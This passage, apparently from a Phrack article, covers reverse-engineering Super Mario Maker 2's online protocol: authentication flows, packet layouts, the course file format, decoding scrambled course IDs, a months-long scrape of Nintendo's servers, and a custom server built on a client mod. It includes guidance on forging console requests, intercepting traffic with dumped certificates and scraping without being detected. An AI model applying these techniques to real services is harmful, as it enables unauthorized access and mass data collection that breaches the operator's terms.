purchase using a Nintendo-known private key with RSA-2048. Finally, for us, BAAS is performed to ensure the console has an active Nintendo Switch Online subscription. `id=%016x&password=%s&appAuthNToken=%s` is posted to `/1.0.0/login` [15] where the `id` and `password` are located in system save 8000000000000010 (Account) [16] and `appAuthNToken` is the token returned from AAuth. The returned ID Token, as well as the 16 hex digit user ID, is the final set of data used for authentication to the game server directly. Both the DAuth and ID token have an expiration which requires periodic reauthentication. While some of these endpoints have changed since the release of the Nintendo Switch in 2017, the set of data needed to forge console requests has stayed the same: * Unbanned and hacked hardware * Purchased game * Active Nintendo Switch Online subscription --< 2. NEX At this point the Nintendo Switch no longer has a console-wide network protocol. Luckily, however, most games on the Switch [17] use a protocol released for the 3DS based on the licensed protocol Quazal Rendez-Vous [18]. The protocol, named NEX, operates off of a number of "protocols" which each contain a number of methods. While Quazal Rendez-Vous provides a set of common protocols that are shared between all games, and even some Ubisoft games, the protocols with the relevant ability to query data are all custom to Nintendo [19]. The protocol in use by my custom client is ID 115, or DataStore. This protocol is largely about uploading, modifying and querying objects (binaries), with some metadata as well as authorization checks [20]. Super Mario Maker 2 adds many additional methods that return packed protobufs in little endian. Example GetUsers (method 48) request: CLIENT -> SERVER: Packet Size Message Size |-----| |-----------| 00000000 | 80 00 22 00 AA 1E 02 00 62 00 1B 00 1E 00 00 00 Protocol ID* Method ID* Payload Size |--| |-----------| |-----------|----- 00000010 | F3 26 00 00 00 30 00 00 00 00 10 00 00 00 01 00 Number Packed PIDs Option -----|-----------------------|-----------| 00000020 | 00 00 C6 BC A1 BA BD 82 50 EC 10 20 00 00 SERVER -> CLIENT: Packet Size Message Size |-----| |-----------| 00000000 | 80 00 E8 00 AA 02 1E 00 62 00 22 00 E4 00 00 00 Protocol ID* Method ID* Number |--| |-----------|-----------| 00000010 | 73 01 26 00 00 00 30 80 00 00 01 00 00 00 03 C9 User PID User Code |-----------------------|-------------- 00000020 | 00 00 00 C6 BC A1 BA BD 82 50 EC 0A 00 36 47 53 Name --------------------|-------------------------- 00000030 | 38 39 50 59 33 47 00 08 00 67 6F 6C 64 65 79 32 --| 00000040 | 00 00 08 00 00 00 FF FF FF FF FF FF FF FF 00 00 Country Region Last Active |--------------|--|-----------------------| 00000050 | 03 00 55 53 00 01 22 55 32 9D 1F 00 00 00 00 00 | |-------- 00000060 | 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 00 00 Versus Rating Versus Rank Versus Plays |-----------| |-----------| |-----------| Multiplayer stats ----------------------------------------------- 00000070 | 00 00 32 00 00 00 01 01 00 00 00 02 01 00 00 00 Versus Won Versus Lost Versus Win Streak |-----------| |-----------| |-----------| ----------------------------------------------- 00000080 | 03 01 00 00 00 04 00 00 00 00 05 01 00 00 00 06 Versus Lose Streak Versus Disconnects Versus Kills |-----------| |-----------| |-----------| |-- ----------------------------------------------- 00000090 | 00 00 00 00 07 00 00 00 00 08 00 00 00 00 09 00 Versus Killed By Others COOP Plays COOP Clears --------| |-----------| |-----------| |----- ----------------------------------------------- 000000a0 | 00 00 00 0A 00 00 00 00 0B 00 00 00 00 0C FA 05 "Recent Performance" -----| -----------------------------------| 000000b0 | 00 00 0D 4A 01 00 00 0E 5D 8D 5B 00 00 00 00 00 |-------- 000000c0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 Time Last Uploaded Level --------------| 000000d0 | C8 1E 00 00 00 00 00 09 00 00 00 00 00 00 42 C8 000000e0 | 1E 00 00 00 01 00 00 00 00 00 00 01 01 00 00 00 000000f0 | 01 00 69 00 *Protocol ID: Most significant bit indicates direction (1: client -> server, 0: server -> client) *Method ID: Most significant bit indicates direction (0: client -> server, 1: server -> client) As the packet header for NEX PRUDP Lite (the protocol version used on the Switch) is consistent and the payload formatting uses the well documented protocol buffer format the process for documenting new methods becomes easy; Using Charles Proxy, with SSL certificates dumped from the hardware, and filtering on the host `g22306d00-lp1.s.n.srv.nintendo.net` (where `22306d00` is the server ID for SMM2), you can save the websocket messages to a directory and open them in a hex editor, checking for the Protocol and Method IDs. --< 3. Opening A Public API Starting a custom client [32] project requires a few difficult questions to be answered. For example: How many years do you plan on keeping it up to date with the parent service? Are you willing to put your own credentials at risk, especially if they cost money? How should you limit requests so that the parent service cannot detect your activity? Should you limit access to some endpoints to reduce bad behavior? Should you go open source? Is anyone interested? Some of these I knew the answer to on release. Others? I learned the hard way. The first question I asked was cost. At the time I had begun to shift towards PC games, so I had no qualms about putting my console at risk. The second, more important, question for me was whether people would use it. I'm a hacker, so the answer always starts with "Doesn't matter" but more seriously I had a vague idea of just how much work I was getting myself into. I had little idea what was coming. This period of development was also exciting, as I would expose undocumented fields and players in the community would make changes to a course or a user account, observing how those undocumented fields changed. This collaborative process led to the discovery of data that we did not expect the game even tracked or had no in-game interface for displaying. Had I been forced to find these unknown fields myself the API would have taken weeks of further development. Finally, the API is a perfect example of bringing the feed back to the people. The feed really is ours: we created the content in it! From the course files to comments to ninji events; having access to this data gives the players back some of what they put in, as well as letting the scene understand our game as a whole. --< 4. The Scene Adapts The initial release was surprising, in the sense that the usecase I expected did not immediately materialize. I expected methods like user, course, leaderboard queries to be performed. I expected streamers to use OCR on capture card output to automatically bring up information about the course they were playing. Custom clients, however, enable entirely new things. In the Ninji gamemode, where players race on courses for a week and the leaderboard is closed, there is no way to get the rank of other players. As such, players had been dependent on reporting their ranks in a centralized location, or checking for new posts on Twitter. But, really, there is no way to get the rank of other players in-game. GetEventCourseGhost (method 157) is intended to return a list of replays, or ghosts as they are named internally, that move alongside you when you play. Up to 20 can be requested that are approximately centered around a given time in milliseconds (intended in-game to be your current personal best). The key detail here is the given time. If enough requests are made with randomized durations between 0 and 500 seconds eventually subsequent calls will only return duplicate entries. The number of unique players in in any given event (as faster times replace) maxes out at 365k [24], so this process is relatively fast. Once these times are sorted, and known ranks checked against their ordering in this list, unknown, either by accident of the player or by intention, runs can be added to the leaderboard [23]. The ability to automate previously impossible tasks also means the ability to automate very boring tasks. After previous event leaderboards were rounded out current active events could be monitored in realtime. This enables a pretty comprehensive world record progression. It's one thing to enable more comprehensive historical data collection and another thing entirely to impact the active competitive scene. Lets go on a brief tangent and discuss course files. By late 2021 the course format was well known [25]. It's a packed binary format in little endian. The file is also always the same size, as the variable length lists for objects, ground tiles and other data is placed within a fixed length null initialized area. These files are also "encrypted" using a simple scheme: A sead::Random (a simple pseudo-random number generator used by a number of Switch games) instance is initialized using random bytes, which are then embedded in the course file, and then used to initialize an AES-128 instance, whose initial vector is also embedded in the course file, which is used to encrypt the file sent to the client [26]. While this scheme does require a blob within the game in order to perform AES this blob was easily found and dumped. As a result, every course file from the servers is way larger than it needs to be. By decrypting and then gzipping the course file it is possible to bring the size from 0x5BFD bytes to 3 kilobytes, an eighth the size. meta: id: level endian: le seq: - id: start_y type: u1 doc: Starting Y position of level - id: goal_y type: u1 doc: Y position of goal - id: goal_x type: s2 doc: X position of goal - id: timer type: s2 doc: Starting timer - id: clear_condition_magnitude type: s2 doc: Clear condition magnitude - id: year type: s2 doc: Year made - id: month type: s1 doc: Month made - id: day type: s1 doc: Day made - id: hour type: s1 doc: Hour made - id: minute type: s1 doc: Minute made - id: autoscroll_speed type: u1 enum: autoscroll_speed doc: Autoscroll speed - id: clear_condition_category type: u1 enum: clear_condition_category doc: Clear condition category - id: clear_condition type: s4 enum: clear_condition doc: Clear condition - id: unk_gamever type: s4 doc: Unknown gamever - id: unk_management_flags type: s4 doc: Unknown management_flags - id: clear_attempts type: s4 doc: Clear attempts - id: clear_time type: s4 doc: Clear time - id: unk_creation_id type: u4 doc: Unknown creation_id - id: unk_upload_id type: s8 doc: Unknown upload_id - id: game_version type: s4 enum: game_version doc: Game version level was made in - id: unk1 size: 0xBD - id: gamestyle type: s2 enum: gamestyle doc: Game style - id: unk2 type: u1 - id: name type: str size: 0x42 encoding: UTF-16LE - id: description type: str size: 0xCA encoding: UTF-16LE - id: overworld type: map - id: subworld type: map enums: gamestyle: 12621: smb1 13133: smb3 22349: smw 21847: nsmbw 22323: sm3dw clear_condition_category: 0: none 1: parts 2: status 3: actions game_version: 0: v1_0_0 1: v1_0_1 2: v1_1_0 3: v2_0_0 4: v3_0_0 5: v3_0_1 33: unk clear_condition: 0: none 137525990: reach_the_goal_without_landing_after_leaving_the_ground 199585683: reach_the_goal_after_defeating_at_least_all_mechakoopa ... autoscroll_speed: 0: x1 1: x2 2: x3 types: map: seq: - id: theme type: u1 enum: theme doc: Map theme - id: autoscroll_type type: u1 enum: autoscroll_type doc: Autoscroll type - id: boundary_type type: u1 enum: boundary_type doc: Boundary type - id: orientation type: u1 enum: orientation doc: Orientation - id: liquid_end_height type: u1 doc: Liquid end height - id: liquid_mode type: u1 enum: liquid_mode doc: Liquid mode - id: liquid_speed type: u1 enum: liquid_speed doc: Liquid speed - id: liquid_start_height type: u1 doc: Liquid start height - id: boundary_right type: s4 doc: Right boundary - id: boundary_top type: s4 doc: Top boundary - id: boundary_left type: s4 doc: Left boundary - id: boundary_bottom type: s4 doc: Bottom boundary - id: unk_flag type: s4 doc: Unknown flag - id: object_count type: s4 doc: Object count - id: sound_effect_count type: s4 doc: Sound effect count - id: snake_block_count type: s4 doc: Snake block count - id: clear_pipe_count type: s4 doc: Clear pipe count - id: piranha_creeper_count type: s4 doc: Piranha creeper count - id: exclamation_mark_block_count type: s4 doc: Exclamation mark block count - id: track_block_count type: s4 doc: Track block count - id: unk1 type: s4 - id: ground_count type: s4 doc: Ground count - id: track_count type: s4 doc: Track count - id: ice_count type: s4 doc: Ice count - id: objects type: obj repeat: expr repeat-expr: 2600 doc: Objects - id: sounds type: sound repeat: expr repeat-expr: 300 doc: Sound effects - id: snakes type: snake repeat: expr repeat-expr: 5 doc: Snake blocks - id: clear_pipes type: clear_pipe repeat: expr repeat-expr: 200 doc: Clear pipes - id: piranha_creepers type: piranha_creeper repeat: expr repeat-expr: 10 doc: Piranha creepers - id: exclamation_blocks type: exclamation_block repeat: expr repeat-expr: 10 doc: ! Blocks - id: track_blocks type: track_block repeat: expr repeat-expr: 10 doc: Track blocks - id: ground type: ground repeat: expr repeat-expr: 4000 doc: Ground tiles - id: tracks type: track repeat: expr repeat-expr: 1500 doc: Tracks - id: icicles type: icicle repeat: expr repeat-expr: 300 doc: Icicles - id: unk2 size: 0xDBC enums: theme: 0: overworld 1: underground 2: castle 3: airship 4: underwater 5: ghost_house 6: snow 7: desert 8: sky 9: forest autoscroll_type: 0: none 1: slow 2: normal 3: fast 4: custom boundary_type: 0: built_above_line 1: built_below_line orientation: 0: horizontal 1: vertical liquid_mode: 0: static 1: rising_or_falling 2: rising_and_falling liquid_speed: 0: none 1: x1 2: x2 3: x3 obj: seq: - id: x type: s4 doc: X coordinate - id: y type: s4 doc: Y coordinate - id: unk1 type: s2 - id: width type: u1 doc: Width - id: height type: u1 doc: Height - id: flag type: s4 doc: Flag - id: cflag type: s4 doc: CFlag - id: ex type: s4 doc: Ex - id: id type: s2 enum: obj_id doc: ID - id: cid type: s2 doc: CID - id: lid type: s2 doc: LID - id: sid type: s2 doc: SID enums: obj_id: 0: goomba 1: koopa 2: piranha_flower ... sound: seq: - id: id type: u1 doc: Sound type - id: x type: u1 doc: X position - id: y type: u1 doc: Y position - id: unk1 type: u1 snake: seq: - id: index type: u1 doc: Snake block index - id: node_count type: u1 doc: Snake block node count - id: unk1 type: u2 - id: nodes type: snake_node repeat: expr repeat-expr: 120 doc: Snake block nodes snake_node: seq: - id: index type: u2 doc: Snake block node index - id: direction type: u2 doc: Snake block node direction - id: unk1 type: u4 clear_pipe: seq: - id: index type: u1 doc: Clear pipe index - id: node_count type: u1 doc: Clear pipe node count - id: unk type: u2 - id: nodes type: clear_pipe_node repeat: expr repeat-expr: 36 doc: Clear pipe nodes clear_pipe_node: seq: - id: type type: u1 doc: Clear pipe node type - id: index type: u1 doc: Clear pipe node index - id: x type: u1 doc: Clear pipe node X position - id: y type: u1 doc: Clear pipe node Y position - id: width type: u1 doc: Clear pipe node width - id: height type: u1 doc: Clear pipe node height - id: unk1 type: u1 - id: direction type: u1 doc: Clear pipe node direction piranha_creeper: seq: - id: unk1 type: u1 - id: index type: u1 doc: Piranha creeper index - id: node_count type: u1 doc: Piranha creeper node count - id: unk2 type: u1 - id: nodes type: piranha_creeper_node repeat: expr repeat-expr: 20 doc: Piranha creeper nodes piranha_creeper_node: seq: - id: unk1 type: u1 - id: direction type: u1 doc: Piranha creeper node direction - id: unk2 type: u2 exclamation_block: seq: - id: unk1 type: u1 - id: index type: u1 doc: ! block index - id: node_count type: u1 doc: ! block node count - id: unk2 type: u1 - id: nodes type: exclamation_block_node repeat: expr repeat-expr: 10 doc: ! block nodes exclamation_block_node: seq: - id: unk1 type: u1 - id: direction type: u1 doc: ! block node direction - id: unk2 type: u2 track_block: seq: - id: unk1 type: u1 - id: index type: u1 doc: Track block index - id: node_count type: u1 doc: Track block node count - id: unk2 type: u1 - id: nodes type: track_block_node repeat: expr repeat-expr: 10 doc: Track block nodes track_block_node: seq: - id: unk1 type: u1 - id: direction type: u1 doc: Track block node direction - id: unk2 type: u2 ground: seq: - id: x type: u1 doc: Ground tile X position - id: y type: u1 doc: Ground tile Y position - id: id type: u1 doc: Ground tile id - id: background_id type: u1 doc: Ground tile background tile track: seq: - id: unk1 type: u2 - id: flags type: u1 doc: Track flags - id: x type: u1 doc: Track X position - id: y type: u1 doc: Track Y position - id: type type: u1 doc: Track type - id: lid type: u2 doc: Track LID - id: unk2 type: u2 - id: unk3 type: u2 icicle: seq: - id: x type: u1 doc: Icicle X position - id: y type: u1 doc: Icicle Y position - id: type type: u1 doc: Icicle type - id: unk1 type: u1 The previous Kaitai Struct file representing the course format can be found on HuggingFace [43]. Returning to one of the most important missing features in SMM2; the inability to view courses, the ability to render courses from course files would be even more powerful than the feature we lost from SMM1. Rendering courses externally would let a player view courses without disrupting their progress in-game. Luckily, as a 2D platformer, SMM2 is easy to render into an image given the correct assets and understanding of the file format. By the time the API had been made public a course viewer project based upon the course format was being developed in C# [27], shortly followed by a browser implementation [28]. This course viewer was developed by dumping the savefile of the game, so it only benefitted players capable of running custom firmware. The API endpoint `/level_data` returns the same format, complete with the same encryption scheme, so it can serve as an alternate data source for a course viewer. Once API integration was built into the course viewer it became possible for the average player to view courses. So, besides saving time, what does being able to view courses do for players? In-game you can only see in a small rectangle around Mario. A player is unable to pan their screen independent of Mario's position, so a sufficiently sneaky creator could design a route visible in their editor but invisible or difficult to find in-game. For example hidden blocks, which are only revealed in-game when the player hits them from below, are as clear as any other block in a course viewer. Oftentimes creators do this in order to upload courses, which must be beaten at least once, beyond their own skill level. Sometimes creators actually do wish to upload "impossible" courses for the shock factor. In both cases players will try to complete the legitimate route and find it more difficult than expected or even impossible. As the competitive scene of SMM2 is largely about beating extremely hard courses the fine line between extremely hard and impossible is extremely important. As a result, developer exits, as they are known, were exposed across many existing hard courses. No longer a viable strategy to artificially inflate a course's difficulty, creators had to build routes with the expectation that any player could expose them. Custom clients, especially within gaming communities, inevitably bring about discussions of fairness. The course viewer received a fair bit of scrutiny for making it artificially easy to vet the difficulty of a course before playing, which combined with certain gamemodes in the game can give an unfair advantage, but the ability to identify developer exits eventually convinced many players of its importance in the metagame. And, with the normalization of the course viewer on social media and streaming sites, it eventually became a competitive necessity to match other players. --< 5. The Scrape Once one gets access to the feed of data it is imperative to reduce your reliance on it. The company that operates the feed is trying their best to shut you down. So I began exploring more endpoints in the hopes of querying all the data on the servers. For example course comments. They come in a number of different types: text, reaction images and drawings. Drawings were found to be GZIP compressed 320x180 RGBA bitmaps, accessible from a external server. response = await http.get(comment.picture.url, headers=custom_comment_image_headers) img = Image.frombuffer("RGBA", (320, 180), zlib.decompress(response.body), "raw", "RGBA", 0, 1) Comments can also be placed somewhere within the course, as well as have the requirement of completing the course before seeing them. This endpoint gave insight into a creative side of the game that is usually inaccessible outside the official client given to us [29]. After almost all of the endpoints were discovered, with both their request and response fields documented, it was time to begin scraping. The key considerations behind effective scraping is: how can I request as much as possible, how can I remain undetectable and how can I know I am done. I first tried requesting from the endless endpoint. Endless mode is a gamemode that has a player complete as many courses as possible when starting with a fixed number of lives. One can choose to start endless in one of four difficulties, where every course on the servers is assigned a difficulty. Unless Nintendo additionally prioritizes courses given a specific criteria, like number of plays or ratio of likes to dislikes, this endpoint is mostly randomly distributed. Sounds ok, but in practice there are over 25 million courses uploaded. When tested this approach likely takes multiple years. And, anyway, how do we know we have all the courses anyway? Courses are referred to by 9 letters and numbers, with some visibly similar characters removed. This series of letters and numbers is just for ease of use, as it represents a base 30 alphabet bitwise number. This bitwise encodes whether the ID refers to a course or a "maker", as well as a checksum. The number is then XORed, which appears to scramble the ID [30]. The reason why this scrambling is necessary is because games utilizing the DataStore NEX protocol allocate new objects with a continuous incrementing ID, known as the data ID. def course_id_to_dataid(id): course_id = id[::-1] charset = "0123456789BCDFGHJKLMNPQRSTVWXY" number = 0 for char in course_id: number = number * 30 + charset.index(char) left_side = number left_side = left_side << 34 left_side_replace_mask = 0b1111111111110000000000000000000000000000000000 number = number ^ ((number ^ left_side) & left_side_replace_mask) number = number >> 14 number = number ^ 0b00010110100000001110000001111100 return number When converted into a course ID or a maker ID the XOR serves to hide the fact that the ID is incrementing, likely an attempt to prevent a sweep through all courses or makers for nefarious purposes. We know the algorithm, however, so this reversible algorithm just means there are two ways of representing a course or maker. Since it is incrementing where do we start? Not 0. The region of Data IDs below 3 million in SMM2 cannot be queried. With manual testing the first course found in the game is 4RF-XV8-WCG, data ID 3000004 uploaded on 6/27/19 02:05, a day before the game officially released. Using the method SearchCoursesLatest (method 73), which is used in game to return a random list of recent courses, I received a data ID close to the most recently allocated, at the time around 40000000. Using this approach one can query for 500 courses' info at once using GetCourses (method 70). Courses that have since been deleted, with their ID not being reallocated, return empty course info that could be ignored. This is the primary approach for courses. Next is players, or makers as they are occasionally referred, which cannot be queried as easily. Instead of querying players now we need to look at some other methods. In-game one can query a number of lists, like player leaderboards and lists of courses with a search filter. The last 1000 players of a course, including whether they liked and/or completed it, can also be queried. Course info includes the players who created, first completed and have the current world record, so we'll also use our potential list of 37 million courses here. The reason we cannot query players easily is because their "data ID" equivalent is not the internal ID used by the game. Wheras a course is associated with its data ID by every part of the game a maker ID's corresponding data ID is only used to generate that maker ID by Nintendo, summarily being ignored. The game actually uses PIDs, or Principal IDs, to refer to players, and these are randomized unsigned 64 bit integers on the switch. PID to maker ID is not reversible. While one can be used to query the other the direction we care about, maker ID to PID, can only be performed by GetUserOrCourse (method 131), and it only supports one maker ID at a time. Used in-game for a search bar it is not optimized for speed. The next best thing is just to collate all PIDs collected from other methods, assuming that one of the following applies to every player in the game: * Created a course * First cleared a course * Has an active WR on a course * Was one of the last 1000 players to play a course, whether they beat it or not * Has played a Ninji event course while it was active * Is within the top 1000 players on any in-game leaderboard (number of maker points, score in endless mode, etc) After finishing off with the Ninji data, which included the only queryable replays in the game, and calling the other methods I had implemented with each player I had collected in total, the scrape was done. It had taken 3 months and was performed on dorm gigabit internet at my university. The result I uploaded to HuggingFace with the hope that machine learning researchers can interpret the results and extrapolate some interesting findings. That, or it can bolster the development of LLMs or discrete diffusion models. --< 6. Opening A Public Server After the completion of the scrape it made sense to replace the feed entirely. By this I mean the classic final frontier in game modding related to protocol reimplementation: custom servers. That way no technical limitation, or action on the part of Nintendo, has an impact. Custom clients, the topic of this paper and my main work, are exceptional starts and the only way to have live data from the feed, as well as being more directly usable by an audience. Custom servers, however, are the best way to follow up a custom client. Assuming a modded official client or another custom client it's possible to hook into a new feed entirely. The company behind the feed may not have any interest in archival, or may not send out timely updates or may shut down the service with no recourse. With SMM2 having been around 5 years old by that time it was not, and still is not, an impossibility that Nintendo was considering shutting down the servers in a few years This final step was possible thanks to the help of a number of developers who had begun building tools around the API following the technical discoveries made: Kramer, Wizulus, jneen and Shadow. Kramer had begun developing a Golang server implementing the NEX protocol, using NintendoClients as a base. When he reached out to the rest of us we began contributing. NEX has a saving grace in regards to custom server development: the binary format of requests and responses are very similar. Same versioning scheme, same protobuf format and generally a 1-to-1 request to response protocol. In other words, NEX is a RPC protocol. RPC protocols are easier to reimplement because one only needs to search for packets known to be for requests and observe what comes immediately after, knowing that most of the response is influenced by only the request data. Well, certainly easier than the alternative but server -> client requests are still difficult. For example RegisterUser (method 47) seems to suggest a one-time call with important user info. We need to know a few things about a new user in order for other methods across the server to work (like GetUsers) so understanding the request payload is critical. Because this method was never exposed in the public API it had never been documented by me or others. Some of the things we need to know are: usernames, miis and regions. So how do we begin to dissect a request payload? Instead of tweaking the exact payload sent we tweak the black box producing the payload, ie the official client. If we change our username what changes? If we change our mii what changes? Not just what changes but how often. An hour long MITM session may be necessary to figure out when this method fires in the first place. We discovered that this is not strictly a method for registering users, as we discovered this is indeed the first identifying request made by the official client, but also a method for modifying users. Username changes trigger this method, so we can't create a user profile in our database without checking to see if we've seen this player before. But what in the payload we're sent is identifying? We're sent the username, current outfit, mii, region, country code and the device ID. So of all these fields device ID seems like the most promising ID. Indeed, on the official client this field is identifying to the hardware, but we encountered a problem when swapping out the official client with a custom client, namely a Nintendo Switch emulator. Ryujinx does not have a hardware ID, it's a portable emulator that could very well be running on a chromebook as much as a Window's PC! So their solution is sending `0xcafe` [34]. We can find our own solution to this. The way in which we mod the official client to redirect calls to our custom server is by hijacking a function call that calls `snprintf` to generate the initial websocket connection request http call. Instead of copying the http call used by the official client and inserting just our our own domain, as we previously did, we can add our own header with our own identifying information. A player's account is entirely independent of Nintendo. This means they can register on our website and get a credential file + compile mod they add to their emulated SD card, or their real SD card if they use custom firmware on a switch, and a custom server would treat them both the same. Custom servers also have to convince the official client it is legitimate. All GetUser requests that refer to the current user have to send the same PID as the user's device ID. But we've already established Ryujinx sends the same constant for everyone. So to prevent a crash that PID has to be swapped with `0xcafe`. Another example is GetEndlessModePlayInfo (method 115). This method is constantly called while in a playthrough of the endless gamemode, and it is expected to return up to date info about all active endless runs. Included is all the courses that have been cleared. So calls to StartEndlessModeCourse, DominateEndlessModeCourse (completing), PassEndlessModeCourse (skipping), SuspendEndlessMode (exiting) and FinishEndlessMode (game over) need to record the new status of the endless run or the client will behave strangely. Number of coins, remaining lives and other variables must also be kept up-to-date. Another problem is that the official client only sends a fixed set of requests. All the server has to work with is what is sent by the client whenever it wants to send it. Some information we'd like to track, like replays of every run, isn't sent by the client. StartEndlessModeCourse (method 110), for example, is the only way the custom server knows if you've died in a course during an endless playthrough. The same course can only be started again if the player dies or starts over, which is a death in-game. Once we have a custom server we can begin playing with the client as a form of modding. A popular challenge in SMM2 is IronBROS: completing 50 levels in endless normal (a difficulty) without dying. Can we enforce the no-death requirement on the server? What we found is we couldn't, the server has no power to end an endless attempt. Courses are largely completed offline and stats on the completion sent to the server afterwards, so variables like number of deaths is tracked clientside. But with a clientside mod, which we already have to redirect requests to our custom server, we can add our own functionality. Something I tried and found success with was a webassembly binary, uploadable on our website, that would be associated with a level. The clientside mod would hook a function into a function called at course start that would download this webassembly and execute it, with a similar hook to revert the changes. With this courses could have custom mods, like changing gravity or a different player scale. Once we own the server we can also begin to see what information is sent by the official client but locked away forever on the official servers with no way to query. We knew about the Ninji replay because the official client queries it to represent it in-game. We also know how to parse it [37]. This replay stores the position of the player during the run every 4 frames and in what animation state they were in, so it only exists to play that run back. There had always been theories of another replay: input replays. Those replays were likely analyzed to ban players hacking during a run, like setting the coordinates of the player to the flagpole at the beginning of the run. We confirmed this did happen: when uploading a course and when getting a world record on an online course. PreparePostRelationObject (method 132) is responsible for handling a number of binary blobs posted to the server, like the thumbnails of uploaded courses and ninji replays, but enum value 5 (upload) and 6 (wr) correspond to these hypothesized input replays. And this method is always called shortly before PostPlayResult (method 96), which is responsible for updating statistics about a course when a player completes it or dies. After some work I found it was truly an input replay, just like a Tool Assisted Speedrun, that Nintendo could play back themselves with a debug client to verify runs [38]. With time this custom server, called OpenCourseWorld [39], became a haven for creators of "troll" courses, or courses with exploits. With our blanket policy of no course deletions, our server is now an effective archive for courses that still want to played by players but do not want to risk the closing of the feed. --< 7. A New Era in SMM2 The public API, and the technical research following it, has changed how players engage with this game left behind by Nintendo. Streamers use course viewers, primarily one developed by Wizulus [40], to vet what users send and to skip tiring "little timmy" levels in endless mode. A search engine for courses, one of those removed features from SMM1, has been created by regularly topping off a local archive of courses collected from SearchCoursesLatest and GetCourses, enabling players to find whatever the in-game filter makes needlessly tedious to find [41]. Teams of players who had labored by hand searching for particular kinds of levels no longer need to do so, like the 0% team [42], who used the scrape to get an up to date list of uncleared levels and boost the team forwards. Now the game is in a data oriented future. Not hindered by the strict rules of the feed from Nintendo, players have the freedom to choose new ways to play. A custom client has entirely transformed this scene. --< 8. A Bitter Reminder So what is there to do when the hardware operating the public API, by which everything else mentioned operates, gets banned? Then our reliance on this fragile feed, and my loyalty to this kind of work, gets tested. I know what it feels like because it's happened twice. The first time was immediately after the scrape in 2022, likely due to test requests I made to implement new methods. The second time was 2025, as the result of large scale DAuth changes from system version 20.0.0. Both times I had to buy new hardware, with the implicit reminder that it was another potential sacrifice to keep this experience going for all of the players of my favorite game. But my choice is the one that reflects my commitment to the kind of freedom available only to a hacker. Until the feed is cut off to everyone for good, by which time the custom server will serve as the new feed, our scene is worth enriching with this custom client. /===============================\ | 3. A Fragile State of Affairs | \===============================/ The adventure continues on the Nintendo Switch 2, should we find an exploit that lets us MITM traffic for research, but it's the early days for that. We have a whole scene of experts who made this possible, and we will need their help or find new blood. Every source of user created content deserves a scene as rich as SMM2 now is. My work on other custom clients continues. Prior to the shutdown of the Nintendo Network in 2024, for the WiiU and 3DS, I endeavored to create a scrape for every game on both platforms. It required me to use my NEX custom client knowledge to create another: one that could request from every possible game that supported NEX [44]. Next was Google Streetview, a favorite of mine. That custom client could be used for archival, or even a GeoGuessr clone that is more resilient to Google's changes to their public facing API. In the same vein I worked on Baidu Maps, which serves as the only feed of Chinese mapping data to the west yet simultaneously lacks English support in its only official client. A custom client for Baidu Maps would let me travel in China much easier. New updates to network protocols, some whose outdated features had been depended on, will change the feasibility of custom clients for many domains, especially ones that do not want to make money. TLS 1.3, ECH and dynamic certificate pinning will make it much harder to research custom clients and implement them. Updates to old servers, requiring corresponding updates to the client, will remove the old exploits that made the custom clients possible from the picture. We should ensure our favorite online services have a custom client. Those custom clients bring ownership of the feed back to the ones that made it possible. Whether it be social media or video games we should be allowed to do what we want with it. As long as the official client continues to slide towards corporate profit and the neo-Victorians operate the feed with their own agenda the path of the custom client remains the only way to preserve our liberties in this technological world. /===============\ | 4. References | \===============/ [0] "Nell and Harv at Large in the Leased Territories; Encounter with an Inhospitable Security Pod; a Revelation about the Primer." The Diamond Age. [1] "Hackworth in the hong of Dr. X." The Diamond Age. [2] https://www.sfsite.com/10b/ns67.htm [3] https://groups.google.com/g/rec.arts.sf.written /c/9oN2zbKMyLA/m/KWebOXRIK_YJ [4] arXiv:2008.07753 [5] https://www.theverge.com/2023/4/18/23688463 [6] https://www.reddit.com/r/apolloapp/comments/144f6xm/ [7] https://www.theverge.com/2023/6/12/23755974 [8] https://www.theverge.com/2023/3/30/23662832 [9] https://en.wikipedia.org/wiki/List_of_best-selling_video_game_franchises [10] https://wiki.archiveteam.org/index.php/Super_Mario_Maker_Bookmark [11] https://github.com/kinnay/NintendoClients [12] https://www.reddit.com/r/SwitchHacks/comments/8rxg26 [13] https://switchbrew.org/wiki/SPL_services#GenerateAesKey [14] https://switchbrew.org/wiki/Settings_services#GetGameCardCertificate [15] https://github.com/kinnay/NintendoClients/ wiki/BAAS-Server#post-100login [16] https://github.com/znxDomain/nxAccountSaveResearch#baasuuiddat [17] https://kinnay.github.io/view.html?page=switch [18] https://reversing.live/nintendos-game-server-protocols.html [19] https://github.com/kinnay/NintendoClients/wiki/NEX-Protocols [20] https://github.com/kinnay/NintendoClients/wiki/Data-Store-Protocol [21] https://github.com/kinnay/NintendoClients/ wiki/Data-Store-Protocol-(SMM-2) [22] https://github.com/kinnay/NintendoClients/ wiki/Data-Store-Protocol-(SMM-2)#userinfo-structure [23] https://tinyurl.com/NinjiLeaderboard [24] https://tgrcode.com/posts/mario_maker_2_ninjis [25] https://github.com/liamadvance/smm2-documentation/ blob/master/Course%20Format.md [26] https://github.com/mm2srv/smm2_parsing/blob/main/level_encryption.go [27] https://github.com/JiXiaomai/SMM2LevelViewer [28] https://tgrcode.com/level_viewer/ [29] https://tgrcode.com/posts/mario_maker_2_comments [30] https://github.com/kinnay/NintendoClients/ wiki/Data-Store-Codes#super-mario-maker-2 [31] https://tgrcode.com/posts/mario_maker_2_datasets [32] https://tgrcode.com/posts/mario_maker_2_api [33] https://github.com/kinnay/NintendoClients/ wiki/Data-Store-Protocol-(SMM-2)#47-registeruser [34] https://git.ryujinx.app/ryubing/ryujinx/-/blob/master/src/Ryujinx.HLE/ HOS/Services/Account/Acc/AccountService/ManagerServer.cs#L19 [35] https://github.com/mm2srv/client-mod/ blob/main/source/program/main.cpp#L43C6-L43C20 [36] https://www.speedrun.com/smm2ce/forums/tz32b [37] https://tgrcode.com/posts/mario_maker_2_ninjis#parsing_the_file_format [38] https://github.com/mm2srv/smm2_parsing/blob/main/replay_format.go [39] https://opencourse.world/ [40] https://smm2.wizul.us/ [41] https://makercentral.io/ [42] https://team0percent.com/ [43] https://huggingface.co/datasets/TheGreatRambler/ mm2_level/blob/main/level.ksy [44] https://tgrcode.com/posts/wiiu_3ds_scraping_leaderboards [45] https://x.com/tgr_code/status/1846280264554533075 ]]> https://phrack.org/issues/72/the-hackers-renaissance-a-manifesto-reborn.html Tue, 19 Aug 2025 00:00:00 +0000 TMZ Phrack #72 phrack-72-19 |=-----------------------------------------------------------------------=| |=-----------=[ The Hacker's Renaissance: A Manifesto 